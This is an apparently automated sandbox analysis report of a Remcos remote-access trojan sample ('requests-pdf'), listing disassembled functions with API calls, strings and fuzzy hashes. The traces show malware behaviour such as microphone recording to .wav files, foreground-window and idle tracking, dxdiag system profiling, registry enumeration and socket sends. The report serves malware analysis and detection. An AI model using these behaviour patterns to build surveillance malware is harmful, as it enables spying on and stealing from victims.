                                                    • Opcode Fuzzy Hash: afa000e900512d794b59872f8fe6b6e7421b33da501b9bd85e28326864c8fc87
                                                    • Instruction Fuzzy Hash: 3D51E2712042046FD615FB31DCA1EBF3B9EEB80745F10042FF556922A5EF609D88CE66
                                                    Function 024DA65B Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 158sleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • __Init_thread_footer.LIBCMT ref: 024DA6BD
                                                    • Sleep.KERNEL32(000001F4), ref: 024DA6C8
                                                    • GetForegroundWindow.USER32 ref: 024DA6CE
                                                    • GetWindowTextLengthW.USER32(00000000), ref: 024DA6D7
                                                    • GetWindowTextW.USER32(00000000,00000000,00000000), ref: 024DA70B
                                                    • Sleep.KERNEL32(000003E8), ref: 024DA7DB
                                                      • Part of subcall function 024D9FBF: SetEvent.KERNEL32(00000000,?,00000000,024DAB83,00000000), ref: 024D9FEB
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                                                    • String ID: [${ User has been idle for
                                                    • API String ID: 911427763-3934435721
                                                    • Opcode ID: 6d776f70f920023e5288755160ba8f24f5da9fa6db96a00e1421ea32c0579234
                                                    • Instruction ID: 82b664510ea2015b3918d0e5e812ac1e01c20c910690ff823c517a08732ea38f
                                                    • Opcode Fuzzy Hash: 6d776f70f920023e5288755160ba8f24f5da9fa6db96a00e1421ea32c0579234
                                                    • Instruction Fuzzy Hash: 305135316087005BC324FB31C8B8B6E73A6BB84704F40096FF846872E1DFA4EA05CE96
                                                    Function 00455139 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • RtlDecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,00455DAF), ref: 0045515C
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: DecodePointer
                                                    • String ID: acos$asin$exp$log$log10$pow$sqrt
                                                    • API String ID: 3527080286-3064271455
                                                    • Opcode ID: 3eb206b15bda214751c6835efce86a307732660d26cd42cbd6c0713da10ca2d5
                                                    • Instruction ID: 89d0c260ad138193cc60bb845925db7455dcb75d1c4d79333749f45855522aa5
                                                    • Opcode Fuzzy Hash: 3eb206b15bda214751c6835efce86a307732660d26cd42cbd6c0713da10ca2d5
                                                    • Instruction Fuzzy Hash: DA516D70900E09CBCF14DF99E9581BDBBB0FB09342F244297EC41A6266CB798A1DCB1D
                                                    Function 004165FC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 103sleepfileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 0041665C
                                                      • Part of subcall function 0041B61A: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,00403AF3,00465324), ref: 0041B633
                                                    • Sleep.KERNEL32(00000064), ref: 00416688
                                                    • DeleteFileW.KERNEL32(00000000), ref: 004166BC
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$CreateDeleteExecuteShellSleep
                                                    • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                                                    • API String ID: 1462127192-2001430897
                                                    • Opcode ID: 826bb05371ff64d740857fa337f72034cbc796444b6efc95c58373138809deed
                                                    • Instruction ID: 72b86f905f1643b809cd09d25b02ba286255726e8958c1b91c3bd62dba73c542
                                                    • Opcode Fuzzy Hash: 826bb05371ff64d740857fa337f72034cbc796444b6efc95c58373138809deed
                                                    • Instruction Fuzzy Hash: FD313E719001085ADB14FBA1DC96EEE7764AF50708F00013FF906731E2EF786A8ACA9D
                                                    Function 024E708B Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 102filesynchronizationCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,00465554), ref: 024E718B
                                                    • CloseHandle.KERNEL32(00000000), ref: 024E7194
                                                    • DeleteFileA.KERNEL32(00000000), ref: 024E71A3
                                                    • ShellExecuteEx.SHELL32(0000003C), ref: 024E7157
                                                      • Part of subcall function 024D46CF: send.WS2_32(?,00000000,00000000,00000000), ref: 024D4764
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseDeleteExecuteFileHandleObjectShellSingleWaitsend
                                                    • String ID: <$@$@FG$TUF
                                                    • API String ID: 1107811701-3349172182
                                                    • Opcode ID: b36bc87eb4507af4992a544fbd13103342267bc18c2cc7e8b00c7cda52f17d37
                                                    • Instruction ID: 25440b9ab270d26b17938f53f4ba09ac3a587e15df62a4af3e997e7b47b85ec3
                                                    • Opcode Fuzzy Hash: b36bc87eb4507af4992a544fbd13103342267bc18c2cc7e8b00c7cda52f17d37
                                                    • Instruction Fuzzy Hash: 8931B7319002099BDF16FBA1DC65BFEB736AF50311F40816EEA06661E1EF745A86CF50
                                                    Function 00401A8E Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _strftime.LIBCMT ref: 00401AD3
                                                      • Part of subcall function 00401BE8: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401C54
                                                    • waveInUnprepareHeader.WINMM(00471AC0,00000020,00000000,?), ref: 00401B85
                                                    • waveInPrepareHeader.WINMM(00471AC0,00000020), ref: 00401BC3
                                                    • waveInAddBuffer.WINMM(00471AC0,00000020), ref: 00401BD2
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
                                                    • String ID: %Y-%m-%d %H.%M$.wav$`=G$x=G
                                                    • API String ID: 3809562944-3643129801
                                                    • Opcode ID: 05fbe3f0275308aa01def130e1c9f559704be22902734a160a2ccb4d88025906
                                                    • Instruction ID: ec6e8c75c27496dd15f6dcc160753dc5291fcfbcfc36b55cd818fae73feeac55
                                                    • Opcode Fuzzy Hash: 05fbe3f0275308aa01def130e1c9f559704be22902734a160a2ccb4d88025906
                                                    • Instruction Fuzzy Hash: 6C317E315053009BC314EF25DC56A9E77E8BB94314F00883EF559A21F1EF78AA49CB9A
                                                    Function 0040196B Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 72COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040197B
                                                    • waveInOpen.WINMM(00471AF8,000000FF,00471B00,Function_00001A8E,00000000,00000000,00000024), ref: 00401A11
                                                    • waveInPrepareHeader.WINMM(00471AC0,00000020,00000000), ref: 00401A66
                                                    • waveInAddBuffer.WINMM(00471AC0,00000020), ref: 00401A75
                                                    • waveInStart.WINMM ref: 00401A81
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                                                    • String ID: XCG$`=G$x=G
                                                    • API String ID: 1356121797-903574159
                                                    • Opcode ID: ccd0c3bdb441db855719f52f26becbf2123e5d26e4d3fe3fdac9f84fbce65878
                                                    • Instruction ID: 1c4952ee711c82e1d68262a7885cb64ec938acb60d992cd4a46dee1db52e037b
                                                    • Opcode Fuzzy Hash: ccd0c3bdb441db855719f52f26becbf2123e5d26e4d3fe3fdac9f84fbce65878
                                                    • Instruction Fuzzy Hash: 87215C316012009BC704DF7EFD1696A7BA9FB85742B00843AF50DE76B0EBB89880CB4C
                                                    Function 024D1BD2 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 72COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 024D1BE2
                                                    • waveInOpen.WINMM(00471AF8,000000FF,00471B00,00401A8E,00000000,00000000,00000024), ref: 024D1C78
                                                    • waveInPrepareHeader.WINMM(00471AC0,00000020,00000000), ref: 024D1CCD
                                                    • waveInAddBuffer.WINMM(00471AC0,00000020), ref: 024D1CDC
                                                    • waveInStart.WINMM ref: 024D1CE8
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                                                    • String ID: XCG$`=G$x=G
                                                    • API String ID: 1356121797-903574159
                                                    • Opcode ID: ccd0c3bdb441db855719f52f26becbf2123e5d26e4d3fe3fdac9f84fbce65878
                                                    • Instruction ID: 674e6b90e2ad3ccb1b6bae6f70836acac237509f801735ef96a7d628e5c54c00
                                                    • Opcode Fuzzy Hash: ccd0c3bdb441db855719f52f26becbf2123e5d26e4d3fe3fdac9f84fbce65878
                                                    • Instruction Fuzzy Hash: BE215E316013019BC714DF6EBD1595A7BAAFB84751B00843AE51DD76B4EBB49881CF0C
                                                    Function 0041C96F Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47windowstringCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041C988
                                                      • Part of subcall function 0041CA1F: RegisterClassExA.USER32(00000030), ref: 0041CA6C
                                                      • Part of subcall function 0041CA1F: CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 0041CA87
                                                      • Part of subcall function 0041CA1F: GetLastError.KERNEL32 ref: 0041CA91
                                                    • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041C9BF
                                                    • lstrcpyn.KERNEL32(00473B68,Remcos,00000080), ref: 0041C9D9
                                                    • Shell_NotifyIcon.SHELL32(00000000,00473B50), ref: 0041C9EF
                                                    • TranslateMessage.USER32(?), ref: 0041C9FB
                                                    • DispatchMessageA.USER32(?), ref: 0041CA05
                                                    • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0041CA12
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                                                    • String ID: Remcos
                                                    • API String ID: 1970332568-165870891
                                                    • Opcode ID: 3916a83a2764b610bd39468394578f6b6e569060e520b3e5816c6a16bad35c1f
                                                    • Instruction ID: 0af2178feff80faf092f0d4c6bffee9b758878d1eb04e36c9ad6546aee081b39
                                                    • Opcode Fuzzy Hash: 3916a83a2764b610bd39468394578f6b6e569060e520b3e5816c6a16bad35c1f
                                                    • Instruction Fuzzy Hash: 760121B1944344ABD7109FA5FC4CEDA7BBCAB45B16F004035F605E2162D7B8A285DB2D
                                                    Function 0044B450 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: a2fd919219da5dceb4fadf527de6f56cb4df21625ee46edd218c435833ca4f57
                                                    • Instruction ID: 1e235cce983953b2f50cc3566bc78ab2d8216d31b9fa4c429b6f00869d8f9d70
                                                    • Opcode Fuzzy Hash: a2fd919219da5dceb4fadf527de6f56cb4df21625ee46edd218c435833ca4f57
                                                    • Instruction Fuzzy Hash: 27C1D774D04249AFEF11DFA9C8417AEBBB4FF4A304F14405AE814A7392C778D941CBA9
                                                    Function 0251B6B7 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: b50f87e948356266a42ac280b2451f101745a062afa0556d4abdae292072cfe6
                                                    • Instruction ID: 07e3e3a61fca4f4b022494af59f8c27bbe86ee4453374d52e272ac3f1b64fca5
                                                    • Opcode Fuzzy Hash: b50f87e948356266a42ac280b2451f101745a062afa0556d4abdae292072cfe6
                                                    • Instruction Fuzzy Hash: 6DC1D570D04249AFEF11DFA8C880BADBFB6BF4A318F044198E945A7391D7349942CF69
                                                    Function 00452B2A Relevance: 13.8, APIs: 9, Instructions: 268COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,00452E03,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00452BD6
                                                    • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,00452E03,00000000,00000000,?,00000001,?,?,?,?), ref: 00452C59
                                                    • __alloca_probe_16.LIBCMT ref: 00452C91
                                                    • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000001,00000000,00452E03,?,00452E03,00000000,00000000,?,00000001,?,?,?,?), ref: 00452CEC
                                                    • __alloca_probe_16.LIBCMT ref: 00452D3B
                                                    • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00452E03,00000000,00000000,?,00000001,?,?,?,?), ref: 00452D03
                                                      • Part of subcall function 00446AFF: RtlAllocateHeap.NTDLL(00000000,00434423,?,?,00437227,?,?,00000000,00475B70,?,0040CC87,00434423,?,?,?,?), ref: 00446B31
                                                    • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,00452E03,00000000,00000000,?,00000001,?,?,?,?), ref: 00452D7F
                                                    • __freea.LIBCMT ref: 00452DAA
                                                    • __freea.LIBCMT ref: 00452DB6
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
                                                    • String ID:
                                                    • API String ID: 201697637-0
                                                    • Opcode ID: 51fcd5d0f12c7252ccb3cdd53779652c124c35418bee1affee7c5fbc1305f75c
                                                    • Instruction ID: c0da75549b7b47b94c7346473649b17197e9394d7568cc7349c1d05b16f9ad8a
                                                    • Opcode Fuzzy Hash: 51fcd5d0f12c7252ccb3cdd53779652c124c35418bee1affee7c5fbc1305f75c
                                                    • Instruction Fuzzy Hash: F391D872E002169BDF218E64CA51EEF7BB5AF0A315F14055BEC04E7243D7A9DC48CB68
                                                    Function 0251533C Relevance: 13.7, APIs: 9, Instructions: 153COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free
                                                    • String ID:
                                                    • API String ID: 269201875-0
                                                    • Opcode ID: 5328bd0f7edc37ac40c0d0f8fad2384ac8a9632e9013bb03371bda9eca2e0847
                                                    • Instruction ID: 777370c40f0c9032fc6444c52b8261414f3d106a09d1450c4e0699d3e2fdf923
                                                    • Opcode Fuzzy Hash: 5328bd0f7edc37ac40c0d0f8fad2384ac8a9632e9013bb03371bda9eca2e0847
                                                    • Instruction Fuzzy Hash: 2A51AF319002459FEB11DFB8C840BEEBFF2FF89304F5445A9E895AB291E776A805CB54
                                                    Function 004443F9 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                    • _memcmp.LIBVCRUNTIME ref: 004446A3
                                                    • _free.LIBCMT ref: 00444714
                                                    • _free.LIBCMT ref: 0044472D
                                                    • _free.LIBCMT ref: 0044475F
                                                    • _free.LIBCMT ref: 00444768
                                                    • _free.LIBCMT ref: 00444774
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$ErrorLast$_abort_memcmp
                                                    • String ID: C
                                                    • API String ID: 1679612858-1037565863
                                                    • Opcode ID: b3bb612f52cd01851518acec42876c64f75404bfee4e20e1c1da8053f10e2069
                                                    • Instruction ID: 3c523a64da6f7cdf058c983f33271b3c05ff2f19a58e511a78fa6d1555c07658
                                                    • Opcode Fuzzy Hash: b3bb612f52cd01851518acec42876c64f75404bfee4e20e1c1da8053f10e2069
                                                    • Instruction Fuzzy Hash: 19B13975A012199FEB24DF18C885BAEB7B4FB49304F1485AEE909A7350D739AE90CF44
                                                    Function 02514660 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 02517126: GetLastError.KERNEL32(?,0250E4C7,02509583,0250E4C7,00475B70,?,0250BBBC,FF8BC35D,00475B70,00473EE8), ref: 0251712A
                                                      • Part of subcall function 02517126: _free.LIBCMT ref: 0251715D
                                                      • Part of subcall function 02517126: SetLastError.KERNEL32(00000000,FF8BC35D,00475B70,00473EE8), ref: 0251719E
                                                      • Part of subcall function 02517126: _abort.LIBCMT ref: 025171A4
                                                    • _memcmp.LIBVCRUNTIME ref: 0251490A
                                                    • _free.LIBCMT ref: 0251497B
                                                    • _free.LIBCMT ref: 02514994
                                                    • _free.LIBCMT ref: 025149C6
                                                    • _free.LIBCMT ref: 025149CF
                                                    • _free.LIBCMT ref: 025149DB
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$ErrorLast$_abort_memcmp
                                                    • String ID: C
                                                    • API String ID: 1679612858-1037565863
                                                    • Opcode ID: 4ee3c7c2bc2adc8e7b8f5f7d65043758b13cb49f9f14cb5bf46d27c87fe2b158
                                                    • Instruction ID: d1e407b53b9216c4a83c570ceb49c3695ccfaf621d6420ffc9513a35d83e0221
                                                    • Opcode Fuzzy Hash: 4ee3c7c2bc2adc8e7b8f5f7d65043758b13cb49f9f14cb5bf46d27c87fe2b158
                                                    • Instruction Fuzzy Hash: C2B14975A0122A9FEB24DF28C884BADB7B5FF48314F1445EAD849A7354E731AE90CF44
                                                    Function 004139C7 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 228COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: tcp$udp
                                                    • API String ID: 0-3725065008
                                                    • Opcode ID: feee9516c16efef68815b89ade9cbffe5bf55ce5106af849680fee818ce7e4b0
                                                    • Instruction ID: e59cad8d3053530f07be13ad944632c35d9115139dfdf9e987abb4c2b311e0ee
                                                    • Opcode Fuzzy Hash: feee9516c16efef68815b89ade9cbffe5bf55ce5106af849680fee818ce7e4b0
                                                    • Instruction Fuzzy Hash: 9171AB316083128FDB24CE5584847ABB6E4AF84746F10043FF885A7352E778DE85CB9A
                                                    Function 00401768 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • __Init_thread_footer.LIBCMT ref: 004017BC
                                                      • Part of subcall function 004334CF: RtlEnterCriticalSection.KERNEL32(00470D18,00475BF0,?,004017C1,00475BF0,00000000), ref: 004334D9
                                                      • Part of subcall function 004334CF: RtlLeaveCriticalSection.KERNEL32(00470D18,?,004017C1,00475BF0,00000000), ref: 0043350C
                                                    • RtlExitUserThread.KERNEL32(00000000), ref: 004017F4
                                                    • waveInUnprepareHeader.WINMM(?,00000020,00000000,?,00000020,00473EE8,00000000), ref: 00401902
                                                      • Part of subcall function 00433519: RtlEnterCriticalSection.KERNEL32(00470D18,00475B70,00475BF0,?,0040179E,00475BF0), ref: 00433524
                                                      • Part of subcall function 00433519: RtlLeaveCriticalSection.KERNEL32(00470D18,?,0040179E,00475BF0), ref: 00433561
                                                      • Part of subcall function 004338A5: __onexit.LIBCMT ref: 004338AB
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CriticalSection$EnterLeave$ExitHeaderInit_thread_footerThreadUnprepareUser__onexitwave
                                                    • String ID: T=G$p[G$>G$>G
                                                    • API String ID: 2307665288-2461731529
                                                    • Opcode ID: 8f70ea2b40fb44211d0b69bbfe51e678a1d722ca5741e51af6e8456a38407156
                                                    • Instruction ID: b2aa677fe1363808454ef9d3704f93b9908b7cd688e3fd59dcdd6ad405d7ff49
                                                    • Opcode Fuzzy Hash: 8f70ea2b40fb44211d0b69bbfe51e678a1d722ca5741e51af6e8456a38407156
                                                    • Instruction Fuzzy Hash: 0D41A0316042019BC324FB65DCA6EAE73A4EB94318F00453FF54AA71F2DF78A945C65E
                                                    Function 024D19CF Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • __Init_thread_footer.LIBCMT ref: 024D1A23
                                                      • Part of subcall function 02503736: RtlEnterCriticalSection.NTDLL(00470D18), ref: 02503740
                                                      • Part of subcall function 02503736: RtlLeaveCriticalSection.NTDLL(00470D18), ref: 02503773
                                                    • RtlExitUserThread.NTDLL(00000000), ref: 024D1A5B
                                                    • waveInUnprepareHeader.WINMM(00001E64,00000020,00000000,?,00000020,00473EE8,00000000), ref: 024D1B69
                                                      • Part of subcall function 02503780: RtlEnterCriticalSection.NTDLL(00470D18), ref: 0250378B
                                                      • Part of subcall function 02503780: RtlLeaveCriticalSection.NTDLL(00470D18), ref: 025037C8
                                                      • Part of subcall function 02503B0C: __onexit.LIBCMT ref: 02503B12
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CriticalSection$EnterLeave$ExitHeaderInit_thread_footerThreadUnprepareUser__onexitwave
                                                    • String ID: T=G$p[G$>G$>G
                                                    • API String ID: 2307665288-2461731529
                                                    • Opcode ID: 8f70ea2b40fb44211d0b69bbfe51e678a1d722ca5741e51af6e8456a38407156
                                                    • Instruction ID: 96bfe4089a18c858c5454082dc1e8e8525cafb5a560306b96a445055bd2499b4
                                                    • Opcode Fuzzy Hash: 8f70ea2b40fb44211d0b69bbfe51e678a1d722ca5741e51af6e8456a38407156
                                                    • Instruction Fuzzy Hash: C041A5316042015BC325FB79DCB4EBE73A6EB84310F40852FE95D9A2E1DF70A945CE59
                                                    Function 024E2EEF Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 135registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,00020019,?), ref: 024E2F28
                                                      • Part of subcall function 024E2C11: RegQueryInfoKeyW.ADVAPI32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 024E2C84
                                                      • Part of subcall function 024E2C11: RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?,?,00000000,?,?,?,?), ref: 024E2CB3
                                                      • Part of subcall function 024D46CF: send.WS2_32(?,00000000,00000000,00000000), ref: 024D4764
                                                    • RegCloseKey.ADVAPI32(TUFTUF,00465554,00465554,00465900,00465900,00000071), ref: 024E3098
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
